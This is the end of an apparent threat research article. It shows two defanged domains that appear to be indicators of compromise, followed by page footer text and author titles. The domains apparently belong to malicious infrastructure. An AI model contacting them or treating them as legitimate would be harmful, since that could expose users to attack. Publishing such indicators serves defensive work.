    zolotoy[.]club 
    zxcwork[.]com 

    More on this topic

    Threat Researcher at Gen

    Threat Research Team Lead

    Follow us for more